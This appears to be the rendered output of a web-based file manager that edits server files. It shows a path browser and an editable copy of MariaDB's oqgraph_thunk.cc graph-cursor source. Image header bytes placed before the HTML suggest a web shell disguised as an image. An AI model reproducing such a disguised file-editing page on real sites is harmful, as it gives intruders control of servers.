�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2F'>mariadb-11.7.2</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fstorage%2F'>storage</a>/<a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fstorage%2Foqgraph%2F'>oqgraph</a>/</p><hr><h3>✏️ Editing: oqgraph_thunk.cc</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>/* Copyright (C) 2007-2013 Arjen G Lentz &amp; Antony T Curtis for Open Query

   This program is free software; you can redistribute it and/or modify
   it under the terms of the GNU General Public License as published by
   the Free Software Foundation; version 2 of the License, or
   (at your option) any later version.

   This program is distributed in the hope that it will be useful,
   but WITHOUT ANY WARRANTY; without even the implied warranty of
   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
   GNU General Public License for more details.

   You should have received a copy of the GNU General Public License
   along with this program; if not, write to the Free Software
   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA */

/* ======================================================================
   Open Query Graph Computation Engine, based on a concept by Arjen Lentz
   v3 implementation by Antony Curtis, Arjen Lentz, Andrew McDonnell
   For more information, documentation, support, enhancement engineering,
   see http://openquery.com/graph or contact graph@openquery.com
   ======================================================================
*/

#define MYSQL_SERVER
#include &lt;my_global.h&gt;
#include &quot;oqgraph_thunk.h&quot;

#include &lt;boost/tuple/tuple.hpp&gt;

#include &quot;unireg.h&quot;
#include &quot;sql_base.h&quot;
#include &quot;table.h&quot;
#include &quot;field.h&quot;
#include &quot;key.h&quot;

#if MYSQL_VERSION_ID	&lt; 100000
// Allow compatibility with build for 5.5.32
#define user_defined_key_parts key_parts
#endif

static int debugid = 0;

oqgraph3::vertex_id oqgraph3::edge_info::origid() const
{ return _cursor-&gt;get_origid(); }

oqgraph3::vertex_id oqgraph3::edge_info::destid() const
{ return _cursor-&gt;get_destid(); }

oqgraph3::weight_t oqgraph3::edge_info::weight() const
{ return _cursor-&gt;get_weight(); }

bool oqgraph3::cursor_ptr::operator==(const cursor_ptr&amp; x) const
{
  if (get() == x.get())
    return true;
  return (*this)-&gt;record_position() == x-&gt;_position;
}

bool oqgraph3::cursor_ptr::operator!=(const cursor_ptr&amp; x) const
{
  if (get() == x.get())
    return false;
  return (*this)-&gt;record_position() != x-&gt;_position;
}

oqgraph3::cursor::cursor(const graph_ptr&amp; graph)
  : _ref_count(0)
  , _graph(graph)
  , _index(-1)
  , _parts(0)
  , _key()
  , _position()
  , _debugid(++debugid)
{ }

oqgraph3::cursor::cursor(const cursor&amp; src)
  : _ref_count(0)
  , _graph(src._graph)
  , _index(src._index)
  , _parts(src._parts)
  , _key(src._key)
  , _position(src.record_position())
  , _debugid(++debugid)
{ }

oqgraph3::cursor::~cursor()
{
  if (this == _graph-&gt;_cursor)
  {
    if (_graph-&gt;_cursor-&gt;_index &gt;= 0)
      _graph-&gt;_table-&gt;file-&gt;ha_index_end();
    else
      _graph-&gt;_table-&gt;file-&gt;ha_rnd_end();
    _graph-&gt;_cursor= 0;
    _graph-&gt;_stale= false;
  }
}

const std::string&amp; oqgraph3::cursor::record_position() const
{
  if (_graph-&gt;_stale &amp;&amp; _graph-&gt;_cursor)
  {
    TABLE&amp; table= *_graph-&gt;_table;
    table.file-&gt;position(table.record[0]);
    _graph-&gt;_cursor-&gt;_position.assign(
        (const char*) table.file-&gt;ref, table.file-&gt;ref_length);

    if (_graph-&gt;_cursor-&gt;_index &gt;= 0)
    {
      key_copy((uchar*) _graph-&gt;_cursor-&gt;_key.data(), table.record[0],
          table.key_info + _index, table.key_info[_index].key_length, true);
    }

    _graph-&gt;_stale= false;
  }
  return _position;
}

void oqgraph3::cursor::clear_position()
{
  _position.clear();
  if (this == _graph-&gt;_cursor)
  {
    _graph-&gt;_cursor= 0;
    _graph-&gt;_stale= false;
  }
}

void oqgraph3::cursor::save_position()
{
  record_position();

  if (this == _graph-&gt;_cursor)
  {
    TABLE&amp; table= *_graph-&gt;_table;

    if (_graph-&gt;_cursor-&gt;_index &gt;= 0)
      table.file-&gt;ha_index_end();
    else
      table.file-&gt;ha_rnd_end();
    _graph-&gt;_cursor= 0;
    _graph-&gt;_stale= false;
  }
}

int oqgraph3::cursor::restore_position()
{
  TABLE&amp; table= *_graph-&gt;_table;

  if (!_position.size())
    return ENOENT;

  if (this == _graph-&gt;_cursor)
    return 0;

  if (_graph-&gt;_cursor)
    _graph-&gt;_cursor-&gt;save_position();

  if (_origid || _destid)
  {
    if (int rc= table.file-&gt;ha_index_init(_index, 1))
      return rc;

    restore_record(&amp;table, s-&gt;default_values);

    if (_origid)
    {
      bitmap_set_bit(table.write_set, _graph-&gt;_source-&gt;field_index);
      _graph-&gt;_source-&gt;store(*_origid, 1);
      bitmap_clear_bit(table.write_set, _graph-&gt;_source-&gt;field_index);
    }

    if (_destid)
    {
      bitmap_set_bit(table.write_set, _graph-&gt;_target-&gt;field_index);
      _graph-&gt;_target-&gt;store(*_destid, 1);
      bitmap_clear_bit(table.write_set, _graph-&gt;_target-&gt;field_index);
    }

    if (int rc= table.file-&gt;ha_index_init(_index, 1))
      return rc;

    if (int rc= table.file-&gt;ha_index_read_map(
                    table.record[0], (const uchar*) _key.data(),
                    (key_part_map)(1 &lt;&lt; _parts) - 1,
                    table.key_info[_index].user_defined_key_parts == _parts ?
                        HA_READ_KEY_EXACT : HA_READ_KEY_OR_NEXT))
    {
      table.file-&gt;ha_index_end();
      return rc;
    }

    table.file-&gt;position(table.record[0]);

    while (memcmp(table.file-&gt;ref, _position.data(), table.file-&gt;ref_length))
    {
      if (int rc= table.file-&gt;ha_index_next(table.record[0]))
      {
        table.file-&gt;ha_index_end();
        return rc;
      }

      if ((_origid &amp;&amp; vertex_id(_graph-&gt;_source-&gt;val_int()) != *_origid) ||
          (_destid &amp;&amp; vertex_id(_graph-&gt;_target-&gt;val_int()) != *_destid))
      {
        table.file-&gt;ha_index_end();
        return ENOENT;
      }
      table.file-&gt;position(table.record[0]);
    }

  }
  else
  {
    if (int rc= table.file-&gt;ha_rnd_init(1))
      return rc;

    if (int rc= table.file-&gt;ha_rnd_pos(
            table.record[0], (uchar*) _position.data()))
    {
      table.file-&gt;ha_rnd_end();
      return rc;
    }
  }

  _graph-&gt;_cursor= this;
  _graph-&gt;_stale= false;

  return 0;
}

oqgraph3::vertex_id oqgraph3::cursor::get_origid()
{ 
  if (_origid)
    return *_origid;

  if (this != _graph-&gt;_cursor)
  {
    if (restore_position())
      return -1;
  }
  return static_cast&lt;vertex_id&gt;(_graph-&gt;_source-&gt;val_int());
}

oqgraph3::vertex_id oqgraph3::cursor::get_destid()
{
  if (_destid)
    return *_destid;

  if (this != _graph-&gt;_cursor)
  {
    if (restore_position())
      return -1;
  }
  return static_cast&lt;vertex_id&gt;(_graph-&gt;_target-&gt;val_int());
}


oqgraph3::weight_t oqgraph3::cursor::get_weight()
{
  if (!_graph-&gt;_weight)
    return 1.0;

  if (this != _graph-&gt;_cursor)
  {
    if (restore_position())
      return -1;
  }
  return static_cast&lt;vertex_id&gt;(_graph-&gt;_weight-&gt;val_int());
}

int oqgraph3::cursor::seek_next()
{
  if (this != _graph-&gt;_cursor)
  {
    if (int rc= restore_position())
      return rc;
  }

  TABLE&amp; table= *_graph-&gt;_table;

  if (_index &lt; 0)
  {
    // We need to skip over any deleted records we encounter beyond the start of the table. Bug 796647b
    int rc;
    while ( ((rc= table.file-&gt;ha_rnd_next(table.record[0]))) != 0) {
      if (rc == HA_ERR_RECORD_DELETED)
        continue;
      table.file-&gt;ha_rnd_end();
      return clear_position(rc);
    }
    return 0;
  }

  if (int rc= table.file-&gt;ha_index_next(table.record[0]))
  {
    table.file-&gt;ha_index_end();
    return clear_position(rc);
  }

  _graph-&gt;_stale= true;

  if ((_origid &amp;&amp; vertex_id(_graph-&gt;_source-&gt;val_int()) != *_origid) ||
      (_destid &amp;&amp; vertex_id(_graph-&gt;_target-&gt;val_int()) != *_destid))
  {
    table.file-&gt;ha_index_end();
    return clear_position(ENOENT);
  }

  return 0;
}

int oqgraph3::cursor::seek_prev()
{
  if (this != _graph-&gt;_cursor)
  {
    if (int rc= restore_position())
      return rc;
  }

  TABLE&amp; table= *_graph-&gt;_table;

  if (_index &lt; 0)
  {
    return -1; // not supported
  }

  if (int rc= table.file-&gt;ha_index_prev(table.record[0]))
  {
    table.file-&gt;ha_index_end();
    return clear_position(rc);
  }

  _graph-&gt;_stale= true;

  if ((_origid &amp;&amp; vertex_id(_graph-&gt;_source-&gt;val_int()) != *_origid) ||
      (_destid &amp;&amp; vertex_id(_graph-&gt;_target-&gt;val_int()) != *_destid))
  {
    table.file-&gt;ha_index_end();
    return clear_position(ENOENT);
  }

  return 0;
}


int oqgraph3::cursor::seek_to(
    boost::optional&lt;vertex_id&gt; origid,
    boost::optional&lt;vertex_id&gt; destid)
{
  if (_graph-&gt;_cursor &amp;&amp; this != _graph-&gt;_cursor)
    _graph-&gt;_cursor-&gt;save_position();

  TABLE&amp; table= *_graph-&gt;_table;
  _index= -1;
  _origid= origid;
  _destid= destid;

  if (origid || destid)
  {
    Field *source= _graph-&gt;_source;
    Field *target= _graph-&gt;_target;

    uint source_fieldpos= _graph-&gt;_source-&gt;offset(table.record[0]);
    uint target_fieldpos= _graph-&gt;_target-&gt;offset(table.record[0]);

    if (!destid)
    {
      int i= 0;
      for( ::KEY *key_info= table.key_info,
                 *key_end= key_info + table.s-&gt;keys;
          key_info &lt; key_end; ++key_info, ++i)
      {
        if (key_info-&gt;key_part[0].offset != source_fieldpos)
          continue;

        if (table.file-&gt;ha_index_init(i, 1))
          continue;

        restore_record(&amp;table, s-&gt;default_values);

        bitmap_set_bit(table.write_set, source-&gt;field_index);
        source-&gt;store(*_origid, 1);
        bitmap_clear_bit(table.write_set, source-&gt;field_index);

        uchar* buff= (uchar*) my_alloca(source-&gt;pack_length());
        source-&gt;get_key_image(buff, source-&gt;pack_length(), Field::itRAW);
        _key.clear();
        _key.append((char*) buff, source-&gt;pack_length());
        _key.resize(key_info-&gt;key_length, &#039;\0&#039;);
        my_afree(buff);

        _parts= 1;
        _index= i;
        break;
      }
    }
    else if (!origid)
    {
      int i= 0;
      for( ::KEY *key_info= table.key_info,
                 *key_end= key_info + table.s-&gt;keys;
          key_info &lt; key_end; ++key_info, ++i)
      {
        if (key_info-&gt;key_part[0].offset != target_fieldpos)
          continue;

        if (table.file-&gt;ha_index_init(i, 1))
          continue;

        restore_record(&amp;table, s-&gt;default_values);

        bitmap_set_bit(table.write_set, target-&gt;field_index);
        target-&gt;store(*_destid, 1);
        bitmap_clear_bit(table.write_set, target-&gt;field_index);

        uchar* buff= (uchar*) my_alloca(target-&gt;pack_length());
        target-&gt;get_key_image(buff, target-&gt;pack_length(), Field::itRAW);
        _key.clear();
        _key.append((char*) buff, target-&gt;pack_length());
        _key.resize(key_info-&gt;key_length, &#039;\0&#039;);
        my_afree(buff);

        _parts= 1;
        _index= i;
        break;
      }
    }
    else
    {
      int i= 0;
      for( ::KEY *key_info= table.key_info,
                 *key_end= key_info + table.s-&gt;keys;
          key_info &lt; key_end; ++key_info, ++i)
      {
        if (key_info-&gt;user_defined_key_parts &lt; 2)
          continue;
        if (!((key_info-&gt;key_part[0].offset == target_fieldpos &amp;&amp;
               key_info-&gt;key_part[1].offset == source_fieldpos) ||
              (key_info-&gt;key_part[1].offset == target_fieldpos &amp;&amp;
               key_info-&gt;key_part[0].offset == source_fieldpos)))
          continue;

        if (table.file-&gt;ha_index_init(i, 1))
          continue;

        restore_record(&amp;table, s-&gt;default_values);

        bitmap_set_bit(table.write_set, source-&gt;field_index);
        source-&gt;store(*_origid, 1);
        bitmap_clear_bit(table.write_set, source-&gt;field_index);

        bitmap_set_bit(table.write_set, target-&gt;field_index);
        target-&gt;store(*_destid, 1);
        bitmap_clear_bit(table.write_set, target-&gt;field_index);

        Field* first=
            key_info-&gt;key_part[0].offset == source_fieldpos ?
                source : target;
        Field* second=
            key_info-&gt;key_part[0].offset == target_fieldpos ?
                target : source;

        uchar* buff= (uchar*) my_alloca(
            source-&gt;pack_length() + target-&gt;pack_length());
        first-&gt;get_key_image(buff, first-&gt;pack_length(), Field::itRAW);
        second-&gt;get_key_image(buff + first-&gt;pack_length(), second-&gt;pack_length(), Field::itRAW);
        _key.clear();
        _key.append((char*) buff, source-&gt;pack_length() + target-&gt;pack_length());
        _key.resize(key_info-&gt;key_length, &#039;\0&#039;);
        my_afree(buff);

        _parts= 2;
        _index= i;
        break;
      }
    }
    if (_index &lt; 0)
    {
      // no suitable index found
      return clear_position(ENXIO);
    }

    if (int rc= table.file-&gt;ha_index_read_map(
            table.record[0], (uchar*) _key.data(),
            (key_part_map) ((1U &lt;&lt; _parts) - 1),
            table.key_info[_index].user_defined_key_parts == _parts ?
                HA_READ_KEY_EXACT : HA_READ_KEY_OR_NEXT))
    {
      table.file-&gt;ha_index_end();
      return clear_position(rc);
    }

    if ((_origid &amp;&amp; vertex_id(_graph-&gt;_source-&gt;val_int()) != *_origid) ||
        (_destid &amp;&amp; vertex_id(_graph-&gt;_target-&gt;val_int()) != *_destid))
    {
      table.file-&gt;ha_index_end();
      return clear_position(ENOENT);
    }
  }
  else
  {
    int rc;
    if ((rc= table.file-&gt;ha_rnd_init(true)))
      return clear_position(rc);

    // We need to skip over any deleted records we encounter at the start of the table. Bug 796647c
    while ( ((rc= table.file-&gt;ha_rnd_next(table.record[0]))) != 0) {
      if (rc == HA_ERR_RECORD_DELETED)
        continue;
      table.file-&gt;ha_rnd_end();
      return clear_position(rc);
    }
  }

  _graph-&gt;_cursor= this;
  _graph-&gt;_stale= true;
  return 0;
}

bool oqgraph3::cursor::operator==(const cursor&amp; x) const
{
  return record_position() == x._position;
}

bool oqgraph3::cursor::operator!=(const cursor&amp; x) const
{
  return record_position() != x._position;
}

::THD* oqgraph3::graph::get_table_thd() { return _table-&gt;in_use; }
void oqgraph3::graph::set_table_thd(::THD* thd) { _table-&gt;in_use = thd; }

oqgraph3::graph::graph(
    ::TABLE* table,
    ::Field* source,
    ::Field* target,
    ::Field* weight)
  : _ref_count(0)
  , _cursor(0)
  , _stale(false)
  , _rnd_pos((size_t)-1)
  , _table(table)
  , _source(source)
  , _target(target)
  , _weight(weight)
{
  bitmap_set_bit(table-&gt;read_set, source-&gt;field_index);
  bitmap_set_bit(table-&gt;read_set, target-&gt;field_index);
  if (weight)
    bitmap_set_bit(table-&gt;read_set, weight-&gt;field_index);

  table-&gt;file-&gt;column_bitmaps_signal();
}

oqgraph3::graph::~graph()
{ }

oqgraph3::edges_size_type oqgraph3::graph::num_edges() const
{
  return _table-&gt;file-&gt;stats.records;
}

</textarea><br>  
            <input type='submit' value='Save'>  
        </form>  
        <p><a href='?path=%2Fbig%2FSRC%2Fmariadb-11.7.2%2Fstorage%2Foqgraph'>🔙 Back</a></p>